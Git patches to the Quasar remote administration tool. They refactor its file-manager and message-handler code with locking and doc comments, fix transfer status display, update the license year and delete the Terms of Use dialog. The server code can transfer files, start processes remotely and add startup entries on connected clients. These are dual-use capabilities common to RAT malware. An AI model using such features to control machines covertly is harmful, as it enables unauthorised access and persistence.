content. public delegate void DirectoryChangedEventHandler(object sender, string remotePath, FileSystemEntry[] items); + + /// + /// Represents the method that will handle file transfer updates. + /// + /// The message processor which raised the event. + /// The updated file transfer. public delegate void FileTransferUpdatedEventHandler(object sender, FileTransfer transfer); + /// + /// Raised when drives changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// public event DrivesChangedEventHandler DrivesChanged; + + /// + /// Raised when a directory changed. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// public event DirectoryChangedEventHandler DirectoryChanged; + + /// + /// Raised when a file transfer updated. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// public event FileTransferUpdatedEventHandler FileTransferUpdated; + /// + /// Reports changed remote drives. + /// + /// The current remote drives. private void OnDrivesChanged(Drive[] drives) { SynchronizationContext.Post(d => @@ -34,6 +79,11 @@ private void OnDrivesChanged(Drive[] drives) }, drives); } + /// + /// Reports a directory change. + /// + /// The remote path of the directory. + /// The directory content. private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) { SynchronizationContext.Post(i => @@ -43,6 +93,10 @@ private void OnDirectoryChanged(string remotePath, FileSystemEntry[] items) }, items); } + /// + /// Reports updated file transfers. + /// + /// The updated file transfer. private void OnFileTransferUpdated(FileTransfer transfer) { SynchronizationContext.Post(t => @@ -52,7 +106,10 @@ private void OnFileTransferUpdated(FileTransfer transfer) }, transfer); } - private readonly List _activeTransfers; + /// + /// Keeps track of all active file transfers. Finished or canceled transfers get removed. + /// + private readonly List _activeFileTransfers; /// /// Used in lock statements to synchronize access between UI thread and thread pool. @@ -64,8 +121,14 @@ private void OnFileTransferUpdated(FileTransfer transfer) /// private readonly Client _client; - private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file uploads + /// + /// Used to only allow two simultaneous file uploads. + /// + private readonly Semaphore _limitThreads = new Semaphore(2, 2); + /// + /// Path to the base download directory of the client. + /// private readonly string _baseDownloadPath; /// @@ -75,7 +138,7 @@ private void OnFileTransferUpdated(FileTransfer transfer) public FileManagerHandler(Client client) : base(true) { _client = client; - _activeTransfers = new List(); + _activeFileTransfers = new List(); _baseDownloadPath = client.Value.DownloadDirectory; } @@ -108,12 +171,21 @@ public override void Execute(ISender sender, IMessage message) } } + /// + /// Begins downloading a file from the client. + /// + /// The remote path of the file to download. public void BeginDownloadFile(string remotePath) { int id = GetUniqueFileTransferId(); _client.Send(new DoDownloadFile {RemotePath = remotePath, Id = id}); } + /// + /// Begins uploading a file to the client. + /// + /// The local path of the file to upload. + /// Save the uploaded file to this remote path. public void BeginUploadFile(string localPath, string remotePath) { new Thread(() => @@ -129,7 +201,10 @@ public void BeginUploadFile(string localPath, string remotePath) Status = "Pending..." }; - _activeTransfers.Add(transfer); + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } FileSplit srcFile = new FileSplit(localPath); if (srcFile.MaxBlocks < 0) @@ -153,7 +228,13 @@ public void BeginUploadFile(string localPath, string remotePath) transfer.Status = $"Uploading...({progress}%)"; OnFileTransferUpdated(transfer); - if (_activeTransfers.Count(f => f.Id == transfer.Id) == 0) + bool transferCanceled; + lock (_syncLock) + { + transferCanceled = _activeFileTransfers.Count(f => f.Id == transfer.Id) == 0; + } + + if (transferCanceled) { transfer.Status = "Canceled"; OnFileTransferUpdated(transfer); @@ -188,12 +269,25 @@ public void BeginUploadFile(string localPath, string remotePath) }).Start(); } + /// + /// Cancels a file transfer. + /// + /// The Id of the file transfer to cancel. public void CancelFileTransfer(int transferId) { _client.Send(new DoDownloadFileCancel {Id = transferId}); - _activeTransfers.RemoveAll(s => s.Id == transferId); + lock (_syncLock) + { + _activeFileTransfers.RemoveAll(s => s.Id == transferId); + } } + /// + /// Renames a remote file or directory. + /// + /// The remote file or directory path to rename. + /// The new name of the remote file or directory path. + /// The type of the file (file or directory). public void RenameFile(string remotePath, string newPath, FileType type) { _client.Send(new DoPathRename @@ -204,34 +298,58 @@ public void RenameFile(string remotePath, string newPath, FileType type) }); } + /// + /// Deletes a remote file or directory. + /// + /// The remote file or directory path. + /// The type of the file (file or directory). public void DeleteFile(string remotePath, FileType type) { _client.Send(new DoPathDelete {Path = remotePath, PathType = type}); } + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. public void StartProcess(string remotePath) { _client.Send(new DoProcessStart {ApplicationName = remotePath}); } + /// + /// Adds an item to the startup of the client. + /// + /// The startup item to add. public void AddToStartup(StartupItem item) { _client.Send(new DoStartupItemAdd {StartupItem = item}); } - public void RequestDirectoryContents(string remotePath) + /// + /// Gets the directory contents for the remote path. + /// + /// The remote path of the directory. + public void GetDirectoryContents(string remotePath) { _client.Send(new GetDirectory {RemotePath = remotePath}); } - public void RequestDrives() + /// + /// Refreshes the remote drives. + /// + public void RefreshDrives() { _client.Send(new GetDrives()); } private void Execute(ISender client, DoDownloadFileResponse message) { - FileTransfer transfer = _activeTransfers.FirstOrDefault(t => t.Id == message.Id); + FileTransfer transfer; + lock (_syncLock) + { + transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id); + } if (transfer == null) { @@ -272,7 +390,10 @@ private void Execute(ISender client, DoDownloadFileResponse message) TransferredSize = 0 }; - _activeTransfers.Add(transfer); + lock (_syncLock) + { + _activeFileTransfers.Add(transfer); + } } // TODO: change to += message.Block.Length @@ -329,14 +450,21 @@ private void Execute(ISender client, SetStatusFileManager message) OnReport(message.Message); } + /// + /// Generates a unique file transfer id. + /// + /// A unique file transfer id. private int GetUniqueFileTransferId() { int id; - do + lock (_syncLock) { - id = FileHelper.GetNewTransferId(); - // generate new Id until we have a unique one - } while (_activeTransfers.Any(f => f.Id == id)); + do + { + id = FileHelper.GetNewTransferId(); + // generate new Id until we have a unique one + } while (_activeFileTransfers.Any(f => f.Id == id)); + } return id; } @@ -345,11 +473,15 @@ protected override void Dispose(bool disposing) { if (disposing) { - foreach (var transfer in _activeTransfers) + lock (_syncLock) { - _client.Send(new DoDownloadFileCancel { Id = transfer.Id }); + foreach (var transfer in _activeFileTransfers) + { + _client.Send(new DoDownloadFileCancel { Id = transfer.Id }); + } + + _activeFileTransfers.Clear(); } - _activeTransfers.Clear(); } } } diff --git a/Server/Core/Commands/RemoteDesktopHandler.cs b/Server/Core/Commands/RemoteDesktopHandler.cs index 39c844e29..229157b89 100644 --- a/Server/Core/Commands/RemoteDesktopHandler.cs +++ b/Server/Core/Commands/RemoteDesktopHandler.cs @@ -57,7 +57,7 @@ public Size LocalResolution /// /// Represents the method that will handle display changes. /// - /// The message processor which updated the progress. + /// The message processor which raised the event. /// All currently available displays. public delegate void DisplaysChangedEventHandler(object sender, int value); diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index c6d85db07..2cc1f702a 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -115,6 +115,11 @@ private void ClientDisconnected(Client client, bool connected) } } + /// + /// Called whenever drives changed. + /// + /// The message handler which raised the event. + /// The currently available drives. private void DrivesChanged(object sender, Drive[] drives) { cmbDrives.Items.Clear(); @@ -125,6 +130,12 @@ private void DrivesChanged(object sender, Drive[] drives) SetStatusMessage(this, "Ready"); } + /// + /// Called whenever a directory changed. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) { txtPath.Text = remotePath; @@ -151,6 +162,11 @@ private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[ SetStatusMessage(this, "Ready"); } + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. private void FileTransferUpdated(object sender, FileTransfer transfer) { for (var i = 0; i < lstTransfers.Items.Count; i++) @@ -180,19 +196,28 @@ private void FileTransferUpdated(object sender, FileTransfer transfer) lstTransfers.Items.Add(lvi); } - private string GetAbsolutePath(string item) + /// + /// Combines the current path with the new path. + /// + /// The path to combine with. + /// The absolute combined path. + private string GetAbsolutePath(string path) { if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes { if (_currentDir.Length == 1) - return Path.Combine(_currentDir, item); + return Path.Combine(_currentDir, path); else - return Path.Combine(_currentDir + '/', item); + return Path.Combine(_currentDir + '/', path); } - return Path.GetFullPath(Path.Combine(_currentDir, item)); + return Path.GetFullPath(Path.Combine(_currentDir, path)); } + /// + /// Navigates one directory up in the hierarchical directory tree. + /// + /// The new directory path. private string NavigateUp() { if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes @@ -215,7 +240,7 @@ private void FrmFileManager_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); - _fileManagerHandler.RequestDrives(); + _fileManagerHandler.RefreshDrives(); } private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) @@ -491,14 +516,21 @@ private void SetStatusMessage(object sender, string message) stripLblStatus.Text = $"Status: {message}"; } + /// + /// Fetches the directory contents of the current directory. + /// private void RefreshDirectory() { SwitchDirectory(_currentDir); } + /// + /// Switches to a new directory and fetches the contents of it. + /// + /// Path of new directory. private void SwitchDirectory(string remotePath) { - _fileManagerHandler.RequestDirectoryContents(remotePath); + _fileManagerHandler.GetDirectoryContents(remotePath); SetStatusMessage(this, "Loading directory content..."); } } diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 9940ad54f..3d88ff82e 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -230,7 +230,7 @@ private void TogglePanelVisibility(bool visible) /// Called whenever the remote displays changed. /// /// The message handler which raised the event. - /// The updated displays. + /// The currently available displays. private void DisplaysChanged(object sender, int displays) { cbMonitors.Items.Clear(); From 46e684904cdcb325ef07ed47c82fe7dc179c987f Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 13 Sep 2018 19:48:04 +0200 Subject: [PATCH 116/229] Fix Message Handler --- Quasar.Common/Messages/MessageHandler.cs | 35 +++++++++++++++++------- 1 file changed, 25 insertions(+), 10 deletions(-) diff --git a/Quasar.Common/Messages/MessageHandler.cs b/Quasar.Common/Messages/MessageHandler.cs index be3304a46..299066c0c 100644 --- a/Quasar.Common/Messages/MessageHandler.cs +++ b/Quasar.Common/Messages/MessageHandler.cs @@ -1,5 +1,5 @@ using Quasar.Common.Networking; -using System.Collections.Concurrent; +using System.Collections.Generic; using System.Linq; namespace Quasar.Common.Messages @@ -10,9 +10,14 @@ namespace Quasar.Common.Messages public static class MessageHandler { /// - /// Unordered thread-safe list of registered s. + /// Thread-safe list of registered s. /// - private static readonly ConcurrentBag Processors = new ConcurrentBag(); + private static readonly List Processors = new List(); + + /// + /// Used in lock statements to synchronize access between threads. + /// + private static readonly object SyncLock = new object(); /// /// Registers a to the available . @@ -20,8 +25,11 @@ public static class MessageHandler /// The to register. public static void Register(IMessageProcessor proc) { - if (Processors.Contains(proc)) return; - Processors.Add(proc); + lock (SyncLock) + { + if (Processors.Contains(proc)) return; + Processors.Add(proc); + } } /// @@ -30,8 +38,10 @@ public static void Register(IMessageProcessor proc) /// public static void Unregister(IMessageProcessor proc) { - if (!Processors.Contains(proc)) return; - Processors.TryTake(out proc); + lock (SyncLock) + { + Processors.Remove(proc); + } } /// @@ -41,10 +51,15 @@ public static void Unregister(IMessageProcessor proc) /// The received message. public static void Process(ISender sender, IMessage msg) { - // select appropriate message processors - var availableExecutors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)); + IEnumerable availableProcessors; + lock (SyncLock) + { + // select appropriate message processors + availableProcessors = Processors.Where(x => x.CanExecute(msg) && x.CanExecuteFrom(sender)).ToList(); + // ToList() is required to retrieve a thread-safe enumerator representing a moment-in-time snapshot of the message processors + } - foreach (var executor in availableExecutors) + foreach (var executor in availableProcessors) executor.Execute(sender, msg); } } From 9f75fd66f39e2387fc4866011b558ec2dae12e6b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 15 Sep 2018 13:28:54 +0200 Subject: [PATCH 117/229] Fix File Manager not showing downloads as completed if transferred in one chunk --- Server/Forms/FrmFileManager.cs | 60 +++++++++++++++++++++++----------- 1 file changed, 41 insertions(+), 19 deletions(-) diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index 2cc1f702a..a66ae0c80 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -143,18 +143,17 @@ private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[ lstDirectory.Items.Clear(); - AddItemToFileBrowser("..", "", FileType.Back, 0); + AddItemToFileBrowser("..", 0, FileType.Back, 0); foreach (var item in items) { switch (item.EntryType) { case FileType.Directory: - AddItemToFileBrowser(item.Name, "", item.EntryType, 1); + AddItemToFileBrowser(item.Name, 0, item.EntryType, 1); break; case FileType.File: int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType; - AddItemToFileBrowser(item.Name, FileHelper.GetDataSize(item.Size), item.EntryType, - imageIndex); + AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex); break; } } @@ -162,6 +161,27 @@ private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[ SetStatusMessage(this, "Ready"); } + /// + /// Gets the image index of completed or canceled file transfers. + /// + /// File transfer status used to determine the image index. + /// The image index of the file transfer, default -1. + private int GetTransferImageIndex(string status) + { + int imageIndex = -1; + switch (status) + { + case "Completed": + imageIndex = 1; + break; + case "Canceled": + imageIndex = 0; + break; + } + + return imageIndex; + } + /// /// Called whenever a file transfer gets updated. /// @@ -174,24 +194,14 @@ private void FileTransferUpdated(object sender, FileTransfer transfer) if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString()) { lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; - - switch (transfer.Status) - { - case "Completed": - lstTransfers.Items[i].ImageIndex = 1; - break; - case "Canceled": - lstTransfers.Items[i].ImageIndex = 0; - break; - } + lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status); return; } } var lvi = new ListViewItem(new[] - { - transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath - }) {Tag = transfer}; + {transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath}) + {Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status)}; lstTransfers.Items.Add(lvi); } @@ -495,9 +505,21 @@ private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) } } - private void AddItemToFileBrowser(string name, string size, FileType type, int imageIndex) + /// + /// Adds an item to the file browser. + /// + /// File or directory name. + /// File size, for directories use 0. + /// File type. + /// The image to display for this item. + private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex) { - ListViewItem lvi = new ListViewItem(new string[] { name, size, (type != FileType.Back) ? type.ToString() : string.Empty }) + ListViewItem lvi = new ListViewItem(new string[] + { + name, + (type == FileType.File) ? FileHelper.GetDataSize(size) : string.Empty, + (type != FileType.Back) ? type.ToString() : string.Empty + }) { Tag = type, ImageIndex = imageIndex From e6f59a4e6f3accf4046b418d3dd940fa883f2ef5 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 15 Sep 2018 13:38:11 +0200 Subject: [PATCH 118/229] Update license year --- CONTRIBUTING.md | 6 +- LICENSE | 2 +- Server/Core/Data/Settings.cs | 12 - Server/Forms/FrmMain.cs | 14 - Server/Forms/FrmTermsOfUse.Designer.cs | 123 ----- Server/Forms/FrmTermsOfUse.cs | 65 --- Server/Forms/FrmTermsOfUse.resx | 659 ------------------------- Server/Server.csproj | 9 - 8 files changed, 4 insertions(+), 886 deletions(-) delete mode 100644 Server/Forms/FrmTermsOfUse.Designer.cs delete mode 100644 Server/Forms/FrmTermsOfUse.cs delete mode 100644 Server/Forms/FrmTermsOfUse.resx diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index cc52b2bff..7427745f9 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,4 +1,4 @@ -#Contributing +# Contributing 1. Fork it 2. Create your feature branch (`git checkout -b my-new-feature`) @@ -6,9 +6,9 @@ 4. Push to the branch (`git push origin my-new-feature`) 5. Create new Pull Request -##Guidelines for Pull Requests: +## Guidelines for Pull Requests: -1. Respect the coding style of QuasarRAT. +1. Respect the coding style of Quasar. 2. Make a single change per commit. 3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. 4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. diff --git a/LICENSE b/LICENSE index 2eb9a7edf..6aa69b52e 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2017 MaxXor +Copyright (c) 2018 MaxXor Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Server/Core/Data/Settings.cs b/Server/Core/Data/Settings.cs index f24961e01..25d37cd7a 100644 --- a/Server/Core/Data/Settings.cs +++ b/Server/Core/Data/Settings.cs @@ -35,18 +35,6 @@ public static bool IPv6Support } } - public static bool ShowToU - { - get - { - return bool.Parse(ReadValueSafe("ShowToU", "True")); - } - set - { - WriteValue("ShowToU", value.ToString()); - } - } - public static bool AutoListen { get diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 31123593d..0975ac236 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -32,26 +32,12 @@ public partial class FrmMain : Form private readonly object _processingClientConnectionsLock = new object(); private readonly object _lockClients = new object(); // lock for clients-listview - private void ShowTermsOfService() - { - using (var frm = new FrmTermsOfUse()) - { - frm.ShowDialog(); - } - Thread.Sleep(300); - } - public FrmMain() { Instance = this; AES.SetDefaultKey(Settings.Password); -#if !DEBUG - if (Settings.ShowToU) - ShowTermsOfService(); -#endif - InitializeComponent(); } diff --git a/Server/Forms/FrmTermsOfUse.Designer.cs b/Server/Forms/FrmTermsOfUse.Designer.cs deleted file mode 100644 index 377e85784..000000000 --- a/Server/Forms/FrmTermsOfUse.Designer.cs +++ /dev/null @@ -1,123 +0,0 @@ -namespace xServer.Forms -{ - partial class FrmTermsOfUse - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmTermsOfUse)); - this.rtxtContent = new System.Windows.Forms.RichTextBox(); - this.lblToU = new System.Windows.Forms.Label(); - this.btnAccept = new System.Windows.Forms.Button(); - this.btnDecline = new System.Windows.Forms.Button(); - this.chkDontShowAgain = new System.Windows.Forms.CheckBox(); - this.SuspendLayout(); - // - // rtxtContent - // - this.rtxtContent.Location = new System.Drawing.Point(12, 42); - this.rtxtContent.Name = "rtxtContent"; - this.rtxtContent.ReadOnly = true; - this.rtxtContent.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.rtxtContent.Size = new System.Drawing.Size(398, 242); - this.rtxtContent.TabIndex = 0; - this.rtxtContent.Text = ""; - // - // lblToU - // - this.lblToU.AutoSize = true; - this.lblToU.Font = new System.Drawing.Font("Segoe UI", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.lblToU.Location = new System.Drawing.Point(12, 9); - this.lblToU.Name = "lblToU"; - this.lblToU.Size = new System.Drawing.Size(140, 30); - this.lblToU.TabIndex = 1; - this.lblToU.Text = "Terms of Use"; - // - // btnAccept - // - this.btnAccept.Enabled = false; - this.btnAccept.Location = new System.Drawing.Point(335, 291); - this.btnAccept.Name = "btnAccept"; - this.btnAccept.Size = new System.Drawing.Size(75, 23); - this.btnAccept.TabIndex = 2; - this.btnAccept.Text = "Accept"; - this.btnAccept.UseVisualStyleBackColor = true; - this.btnAccept.Click += new System.EventHandler(this.btnAccept_Click); - // - // btnDecline - // - this.btnDecline.Location = new System.Drawing.Point(254, 291); - this.btnDecline.Name = "btnDecline"; - this.btnDecline.Size = new System.Drawing.Size(75, 23); - this.btnDecline.TabIndex = 3; - this.btnDecline.Text = "Decline"; - this.btnDecline.UseVisualStyleBackColor = true; - this.btnDecline.Click += new System.EventHandler(this.btnDecline_Click); - // - // chkDontShowAgain - // - this.chkDontShowAgain.AutoSize = true; - this.chkDontShowAgain.Location = new System.Drawing.Point(12, 295); - this.chkDontShowAgain.Name = "chkDontShowAgain"; - this.chkDontShowAgain.Size = new System.Drawing.Size(125, 17); - this.chkDontShowAgain.TabIndex = 4; - this.chkDontShowAgain.Text = "Do not show again"; - this.chkDontShowAgain.UseVisualStyleBackColor = true; - // - // FrmTermsOfUse - // - this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; - this.ClientSize = new System.Drawing.Size(422, 326); - this.Controls.Add(this.chkDontShowAgain); - this.Controls.Add(this.btnDecline); - this.Controls.Add(this.btnAccept); - this.Controls.Add(this.lblToU); - this.Controls.Add(this.rtxtContent); - this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.Fixed3D; - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmTermsOfUse"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Quasar - Terms of Use"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmTermsOfUse_FormClosing); - this.Load += new System.EventHandler(this.FrmTermsOfUse_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.RichTextBox rtxtContent; - private System.Windows.Forms.Label lblToU; - private System.Windows.Forms.Button btnAccept; - private System.Windows.Forms.Button btnDecline; - private System.Windows.Forms.CheckBox chkDontShowAgain; - } -} \ No newline at end of file diff --git a/Server/Forms/FrmTermsOfUse.cs b/Server/Forms/FrmTermsOfUse.cs deleted file mode 100644 index 043602fbd..000000000 --- a/Server/Forms/FrmTermsOfUse.cs +++ /dev/null @@ -1,65 +0,0 @@ -using System; -using System.Threading; -using System.Windows.Forms; -using xServer.Core.Data; - -namespace xServer.Forms -{ - public partial class FrmTermsOfUse : Form - { - private static bool _exit = true; - - public FrmTermsOfUse() - { - InitializeComponent(); - rtxtContent.Text = Properties.Resources.TermsOfUse; - } - - private void FrmTermsOfUse_Load(object sender, EventArgs e) - { - lblToU.Left = (this.Width/2) - (lblToU.Width/2); - Thread t = new Thread(Wait20Sec) {IsBackground = true}; - t.Start(); - } - - private void FrmTermsOfUse_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.UserClosing && _exit) - System.Diagnostics.Process.GetCurrentProcess().Kill(); - } - - private void btnAccept_Click(object sender, EventArgs e) - { - var showToU = !chkDontShowAgain.Checked; - Settings.ShowToU = showToU; - _exit = false; - this.Close(); - } - - private void btnDecline_Click(object sender, EventArgs e) - { - System.Diagnostics.Process.GetCurrentProcess().Kill(); - } - - private void Wait20Sec() - { - for (int i = 19; i >= 0; i--) - { - Thread.Sleep(1000); - try - { - this.Invoke((MethodInvoker) delegate { btnAccept.Text = "Accept (" + i + ")"; }); - } - catch - { - } - } - - this.Invoke((MethodInvoker) delegate - { - btnAccept.Text = "Accept"; - btnAccept.Enabled = true; - }); - } - } -} \ No newline at end of file diff --git a/Server/Forms/FrmTermsOfUse.resx b/Server/Forms/FrmTermsOfUse.resx deleted file mode 100644 index 2c592595d..000000000 --- a/Server/Forms/FrmTermsOfUse.resx +++ /dev/null @@ -1,659 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA - IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// - /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// - /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// - /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws - JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo - If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL - Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex - Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub - lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S - zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW - 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI - hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo - If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl - Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo - Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// - /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA - //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA - AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq - I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn - IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp - Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp - Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// - /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp - Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw - KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp - Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp - Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo - If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo - If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp - 